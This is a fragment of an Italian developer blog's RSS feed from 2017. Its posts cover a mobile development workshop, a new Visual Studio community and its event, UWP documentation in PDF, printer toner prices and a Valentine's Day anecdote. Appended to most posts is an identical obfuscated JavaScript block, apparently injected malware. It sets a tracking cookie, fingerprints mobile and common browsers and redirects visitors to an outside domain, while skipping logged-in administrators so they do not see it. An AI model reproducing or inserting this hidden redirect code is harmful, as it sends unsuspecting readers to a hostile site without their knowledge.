					<description><![CDATA[Vi piacerebbe avere i rudimenti per sviluppare una versione minimal di WhatsApp in poche ore…diciamo nell’arco di una giornata lavorativa, dalle ore 9:30 alle ore 18:00, partendo dal backend fino ad arrivare su tutte le piattaforme mobile?? Se la risposta è sì, questo è il Focus Day che fa per voi. Il prossimo 16 Giugno, [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Vi piacerebbe avere i rudimenti per sviluppare una versione minimal di WhatsApp in poche ore…diciamo nell’arco di una giornata lavorativa, dalle ore 9:30 alle ore 18:00, partendo dal backend fino ad arrivare su tutte le piattaforme mobile??</p>
<p>Se la risposta è sì, <strong>questo è il Focus Day che fa per voi.</strong></p>
<p><img alt="Cordova" src="https://overneteducation.it/v2beta/UserFiles/image/FocusDay_Q150.jpg" width="100" align="left" height="100"></p>
<p><strong>Il prossimo 16 Giugno</strong>, <a href="https://www.overneteducation.it/" target="_blank" rel="noopener noreferrer">Overnet Education</a> ha organizzato una giornata battezzata Flash Mob(ile). Gli speaker saranno, nell’ordine, <a href="https://twitter.com/imperugo" target="_blank" rel="noopener noreferrer">Ugo Lattanzi</a>, il sottoscritto e <a href="https://twitter.com/gabrielegaggi" target="_blank" rel="noopener noreferrer">Gabriele Gaggi</a>. L’idea è la seguente, riportata parola per parola dalla scheda dell’evento:</p>
<p><em><font color="#c0504d">La giornata è pensata per&nbsp; aziende, sviluppatori e liberi professionisti che vogliono toccare con mano le più recenti tecnologie di sviluppo per applicazioni mobile. ASP.NET Core distribuito attraverso Docker per la parte di backend, e applicazioni mobile cross-platform per il frontend. Queste ultime verranno sviluppate sia tramite tecnologie in ambito Web (Cordova) sia tramite tecnologie di sviluppo nativo (C#, XAML e Xamarin Forms).</font></em></p>
<p>Si tratta di un evento a pagamento (costo alla portata di tutti). <strong>Non è pensata per essere una giornata di teoria accademica, ma un vero e proprio laboratorio pratico dove ciascuno dei partecipanti avrà a disposizione un suo PC per poter scrivere il codice che via via vi spiegheremo.</strong>&nbsp;<a href="https://overneteducation.it/DettaglioCorso.aspx?corso=EV045&amp;v=1" target="_blank" rel="noopener noreferrer">Potete avere tutte le informazioni del caso a questo indirizzo</a>. Scrivetemi pure in privato, o se volete commentate pure qui sotto, se avete dubbi o volete fare qualche domanda in merito. Cercherò di rispondere in prima persona, altrimenti girerò la richiesta a chi di dovere.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/03/07/focus-day-del-16-giugno-flash-mobile.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Visual Studio Tips &#038; Tricks : SI PARTE!!!</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/02/27/visual-studio-tips-tricks-si-parte.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=visual-studio-tips-tricks-si-parte</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/02/27/visual-studio-tips-tricks-si-parte.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Mon, 27 Feb 2017 09:26:57 +0000</pubDate>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2913</guid>

					<description><![CDATA[La nostra neonata community Visual Studio Tips &#38; Tricks parte alla grande. Il prossimo Sabato 25 Marzo, presso il Garda Hotel di Montichiari (Brescia), si terrà il nostro primo evento pubblico, Visual Studio 2017 to the max. Sarà una delle prime occasioni per vedere dal vivo la versione RTM del prossimo Visual Studio. Nel mio [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>La nostra neonata community <a href="http://www.visualstudiotips.net/" target="_blank"><strong>Visual Studio Tips &amp; Tricks</strong></a> parte alla grande.</p>
<p>Il prossimo Sabato 25 Marzo, presso il Garda Hotel di Montichiari (Brescia), si terrà il nostro primo evento pubblico, <strong>Visual Studio 2017 to the max</strong>. Sarà una delle prime occasioni per vedere dal vivo la versione RTM del prossimo Visual Studio. Nel mio caso vi parlerò un pochino di Universal Windows Platform, mentre gli altri speaker tratteranno di IDE, Entity Framework Core e di Cognitive Services.</p>
<p>Trovate maggiori informazioni sulla news ufficiale pubblicata all’indirizzo <a title="http://www.visualstudiotips.net/view/ArticleId/35/Visual-Studio-to-the-max" href="http://www.visualstudiotips.net/view/ArticleId/35/Visual-Studio-to-the-max" target="_blank">http://www.visualstudiotips.net/view/ArticleId/35/Visual-Studio-to-the-max</a>.</p>
<p><strong><font color="#008040">Chiaramente l’evento è totalmente gratuito!!! Partecipate!!!!</font></strong></p>
<p>L’iscrizione si sono aperte questa mattina, abbiamo tanti posti ma chiaramente la quantità è limitata.</p>
<p><strong><font color="#008040">Non perdete tempo, iscrivetevi e veniteci a trovare!</font></strong></p>
<p><script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/02/27/visual-studio-tips-tricks-si-parte.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Documentazione UWP in formato PDF</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/02/24/documentazione-uwp-in-formato-pdf.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=documentazione-uwp-in-formato-pdf</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/02/24/documentazione-uwp-in-formato-pdf.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Fri, 24 Feb 2017 08:31:00 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2892</guid>

					<description><![CDATA[E se vi dicessi che ci sono 5133 pagine di documentazione su UWP che vi stanno aspettando? Mi è capitato sottomano un tweet, oggi, parecchio interessante. You can download all Windows UWP docs in PDF form. Ero già al corrente del fatto che la documentazione ufficiale UWP fosse stata spostata sul nuovo portale, ma onestamente [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>E se vi dicessi che ci sono 5133 pagine di documentazione su UWP che vi stanno aspettando?</p>
<p>Mi è capitato sottomano <a href="https://twitter.com/docsmsft/status/834822926658523138" target="_blank" rel="noopener noreferrer">un tweet</a>, oggi, parecchio interessante.</p>
<p><strong><font size="5">You can download all Windows UWP docs in PDF form.</font></strong></p>
<p>Ero già al corrente del fatto che la documentazione ufficiale UWP fosse stata spostata sul nuovo portale, ma onestamente questa news del formato PDF mi era proprio sfuggita. Detto questo, è sufficiente per esempio raggiungere l’url <a title="https://docs.microsoft.com/en-us/windows/uwp/get-started/your-first-app" href="https://docs.microsoft.com/en-us/windows/uwp/get-started/your-first-app">https://docs.microsoft.com/en-us/windows/uwp/get-started/your-first-app</a> ed effettivamente in basso a destra c’è un bel link:</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image-12.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image_thumb-12.png" width="584" height="504"></a></p>
<p>Cliccando il link, parte il download del file PDF. Se lo si fa con Edge, il download sembra che abbia qualcosa che non vada: appare il tradizionale viewer dei PDF, sembra che non stia scaricando nulla. L’ho fatto con Chrome e la cosa va un po’ meglio: c’è una progress-bar che mostra chiaramente il download in corso.</p>
<p><strong>L’unico problema?<br />
</strong>Il file pesa 54,5Mb, e comprende ben 5133 pagine di documentazione.<br />
Buona lettura!<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/02/24/documentazione-uwp-in-formato-pdf.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Toner per stampanti laser</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/02/21/toner-per-stampanti-laser.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=toner-per-stampanti-laser</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/02/21/toner-per-stampanti-laser.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Tue, 21 Feb 2017 08:54:00 +0000</pubDate>
				<category><![CDATA[Hardware]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2887</guid>

					<description><![CDATA[Siamo giunti nuovamente alla situazione, che si ripete puntualmente ogni “qualche anno”, secondo la quale conviene acquistare una stampante nuova rispetto all’acquisto di un toner originale. A casa ho una stampante laser Samsung M2022W. Dovrei acquistare un toner nuovo originale (di quelli compatibili non mi sono mai fidato): su Amazon c’è giustamente un solo prodotto, [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Siamo giunti nuovamente alla situazione, che si ripete puntualmente ogni “qualche anno”, secondo la quale <strong><font color="#0000ff">conviene acquistare una stampante nuova rispetto all’acquisto di un toner originale</font></strong>.</p>
<p>A casa <a href="http://www.samsung.com/it/consumer/it/printer-multifunction/mono-laser-printer/SL-M2022W/SEE" target="_blank">ho una stampante laser Samsung M2022W</a>. Dovrei acquistare un toner nuovo originale (di quelli compatibili non mi sono mai fidato): su Amazon c’è giustamente un solo prodotto, <a href="https://www.amazon.it/Samsung-MLT-D111S-ELS-Toner-111S/dp/B00E3MLHD0/ref=sr_1_1?ie=UTF8&amp;qid=1487624523&amp;sr=8-1&amp;keywords=MLT-D111S" target="_blank">che sarebbe questo</a>. <strong>Costo : 48,06 euro.</strong> Peccato che la stampante stia andando un po’ fuori dai prodotti normalmente accessibili nelle catene (ad esempio Mediaworld), e quindi sarà sempre più difficile trovare il toner giusto non solo fisicamente nei negozi, ma probabilmente anche online. Sapete quanto costa il modello più recente Samsung? <a href="https://www.amazon.it/Samsung-Xpress-Stampante-Laser-monocromatica/dp/B00VEA9MSQ/ref=sr_1_1?ie=UTF8&amp;qid=1487624771&amp;sr=8-1&amp;keywords=samsung+laser" target="_blank">Il modello è il M2026W</a>. <strong>Costo : 68,90.</strong> Certo, è comunque maggiore rispetto ai 48 di prima, ma se mettiamo sul piatto della bilancia la reperibilità dei materiali di consumo…forse conviene quest’ultimo, anche magari per avere driver più efficienti, ed un hardware più recente (magari anche compatibile con gli smartphone Android).</p>
<p>Voi che dite?</p>
<p><script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/02/21/toner-per-stampanti-laser.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Nasce una nuova community: Visual Studio Tips &#038; Tricks</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/02/20/nasce-una-nuova-community-visual-studio-tips-tricks.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=nasce-una-nuova-community-visual-studio-tips-tricks</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/02/20/nasce-una-nuova-community-visual-studio-tips-tricks.aspx#comments</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Mon, 20 Feb 2017 08:30:00 +0000</pubDate>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2885</guid>

					<description><![CDATA[Oggi, lunedì 20 febbraio 2017, abbiamo il piacere di annunciare la nascita di una nuova community tecnica chiamata Visual Studio Tips &#38; Tricks. Il nome è certamente e volutamente evocativo, ma questa community non è assolutamente un’estensione di Visual Basic Tips &#38; Tricks. E’ una realtà totalmente nuova, autonoma e piena di freschezza, che ha [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Oggi, lunedì 20 febbraio 2017, abbiamo il piacere di annunciare la nascita di una nuova community tecnica chiamata </strong><a href="https://www.visualstudiotips.net/" target="_blank" rel="noopener noreferrer"><strong>Visual Studio Tips &amp; Tricks</strong></a><strong>.</strong></p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image-11.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image_thumb-11.png" width="516" height="181"></a></p>
<p>Il nome è certamente e volutamente evocativo, ma questa community non è assolutamente un’estensione di Visual Basic Tips &amp; Tricks.</p>
<p>E’ una realtà totalmente nuova, autonoma e piena di freschezza, che ha lo scopo di divulgare conoscenza sulle tecnologie Microsoft per lo sviluppo di software ad ampio raggio, negli ambiti Mobile, Desktop, Cloud con l’ecosistema di Microsoft Visual Studio, inclusi Visual Studio Code e Visual Studio for Mac.</p>
<p>Ciò vuol dire che ci occuperemo massicciamente di cose come Xamarin, Azure, intelligenza artificiale, Visual Studio Code, Roslyn, .NET Core, di Universal Windows Platform, di DevOps e Visual Studio Team Services, dei linguaggi .NET senza distinzione e di tutto ciò che può ruotare allo sviluppo di software con gli strumenti della famiglia Visual Studio.</p>
<p>Siamo già abituati a trattare tutti questi argomenti ma serviva uno spazio più adeguato, per noi stessi e per gli utenti che hanno avuto “timore” ad avvicinarsi a un sito il cui nome è legato a un linguaggio storico ma il cui uso è statisticamente ben circostanziato.</p>
<p>Il Team di questa nuova community è composto da <a href="https://community.visual-basic.it/Alessandro" target="_blank" rel="noopener noreferrer"><strong>Alessandro Del Sole</strong></a>, <a href="https://community.visual-basic.it/Renato" target="_blank" rel="noopener noreferrer"><strong>Renato Marzaro</strong></a>, <a href="https://www.llamanna.it/" target="_blank" rel="noopener noreferrer"><strong>Laura La Manna</strong></a>, <a href="https://community.visual-basic.it/tdj" target="_blank" rel="noopener noreferrer"><strong>Antonio Catucci</strong></a> e <a href="https://blog.vivendobyte.net/blog/" target="_blank" rel="noopener noreferrer"><strong>Igor Damiani</strong></a>. Persone abbastanza note nel mondo delle community Microsoft per la loro grande passione non solo per la tecnologia ma anche per la condivisione della conoscenza e legate tra loro da amicizie durature.<br />
Il sito Web di questa community offre, gratuitamente, un’<a href="https://www.visualstudiotips.net/Articoli" target="_blank" rel="noopener noreferrer">Area Articoli</a> che già contiene numerosi articoli tecnici pronti per voi su argomenti come Xamarin, UWP e C# 7. C’è inoltre un’area dedicata a <a href="https://www.visualstudiotips.net/forum" target="_blank" rel="noopener noreferrer">forum tecnici</a> organizzati per area tematica nei quali potremo porre i nostri quesiti e rispondere a domande degli altri utenti.</p>
<p>In cantiere ci sono anche diversi eventi che erogheremo in diverse città italiane in modo da poterci incontrare di persona e di condividere più da vicino la nostra passione con tutti voi.<br />
Abbiamo inoltre creato <a href="https://www.youtube.com/channel/UCw5mAB8lFJx5yQGnqhMzd2w" target="_blank" rel="noopener noreferrer">un canale di community su YouTube</a> dove pubblicheremo i nostri video tecnici e dove già ne trovate alcuni dedicati a Xamrin, Roslyn e Visual Studio for Mac.<br />
Non potevamo inoltre mancare sui più diffusi social network, pertanto abbiamo creato:<br />
•&nbsp;&nbsp;&nbsp; <a href="https://www.facebook.com/VisualStudioTipsTricks/" target="_blank" rel="noopener noreferrer">una pagina Facebook</a> su cui potrete seguire novità di community e dal mondo dello sviluppo;<br />
•&nbsp;&nbsp;&nbsp; un <a href="https://twitter.com/VsTipsTricks" target="_blank" rel="noopener noreferrer">account su Twitter</a>;<br />
•&nbsp;&nbsp;&nbsp; un <a href="https://www.instagram.com/visualstudiotips/" target="_blank" rel="noopener noreferrer">profilo Instagram</a> che useremo non solo per occasioni di community ma anche per darvi flash visivi su alcuni contenuti.<br />
La community è appena nata, quindi sicuramente ci saranno molti aggiustamenti da fare col tempo ma saremo felici se vorrete darci i vostri feedback.<br />
Da parte del sottoscritto, due parole su VB T&amp;T: continuerà a vivere e sarà supportata. La velocità con cui si muove la tecnologia e la direzione presa dal mondo dello sviluppo, ad ogni modo, ci porterà ad investire la maggior parte delle risorse e del tempo sulla nuova Visual Studio Tips &amp; Tricks. Un motivo in più per visitare il nuovo sito e seguirci.<br />
Come sempre, qualunque comunità non ha senso se non c’è la partecipazione e l’aggregazione delle persone. Quindi, i vostri contributi come articoli, partecipazione nei forum o video formativi saranno più che benvenuti.</p>
<p>Vi aspettiamo!<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/02/20/nasce-una-nuova-community-visual-studio-tips-tricks.aspx/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>San Valentino in trasferta</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/02/15/san-valentino-in-trasferta.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=san-valentino-in-trasferta</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/02/15/san-valentino-in-trasferta.aspx#comments</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Wed, 15 Feb 2017 14:31:00 +0000</pubDate>
				<category><![CDATA[My daily work]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2881</guid>

					<description><![CDATA[Esci dal cliente alle 17:30, prendi il pullman che ti riporta in hotel. Entri in camera, metti sotto carica il cellulare, ti rilassi un’oretta, poi esci per cena. Sei solo, in trasferta, e realizzi solo ora che è la sera di San Valentino. Cosa significa questo? Significa che tutti i ristoranti hanno solo tavolini per [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Esci dal cliente alle 17:30, prendi il pullman che ti riporta in hotel. Entri in camera, metti sotto carica il cellulare, ti rilassi un’oretta, poi esci per cena. Sei solo, in trasferta, e realizzi solo ora che è la sera di San Valentino. Cosa significa questo?</p>
<p>Significa che tutti i ristoranti hanno solo tavolini per due, sono tutti prenotati, hanno tutti un cuoricino come addobbo. Sei in città, gironzoli a vuoto per il centro storico, serpeggiando per viuzze strette e larghe. Cominci ad optare per una piadineria, per una rosticceria qualsiasi, alla ricerca di un trancio di pizza o qualcosa di simile. Ti fai aiutare da Trip Advisor e da Google Maps. Tu passeggi solo sempre più affamato, mentre pian piano arriva l’ora delle coppiette che raggiungono il loro tavolino nel ristorante in cui hanno prenotato per questa sera (speciale?). Le vedi arrivare verso di te: lui e lei che si tengono stretti, le ragazze tutte vestite carine, i ragazzi tutti bellocci. Le ragazze con gonnelline svolazzanti o pantaloni neri lunghi. I ragazzi con cappotti col bavero alzato. Le ragazze truccate alla perfezione. I ragazzi con tutti i capelli ben pettinati. Tacchi e mocassini.</p>
<p>E a te manca lei, che è a centinaia di chilometri di distanza. E faresti carte false per averla lì con te. Per poterla baciare, abbracciare, per poter sentire la sua voce o la sua risata. Ed invece non c’è, se non nel tuo cuore. Ma non basta. Passeggi e cammini. Passi davanti a piadinerie e rosticcerie che ci sono, ma che sono deserte, comprese le teglie che dovrebbero invece ospitare tranci di pizze margherite o piadine con fontina e prosciutto. Tiri dritto, e ritorni pian piano verso il tuo hotel.</p>
<p>Ed eccolo lì, a poche decine di metri, il posto che cercavi. Una pizzeria da asporto aperta, illuminata, piena di gente come te che la sera di questo San Valentino è in trasferta, è in una città che non è la sua. Entri, ordini qualcosa, bevi una coca. Sei pieno e sazio. Il tuo stomaco è pieno e sazio, solo quello. Il tuo cuore rimane triste e solo, ma non ci puoi fare nulla.</p>
<p>Ciao San Valentino, all’anno prossimo!!</p>
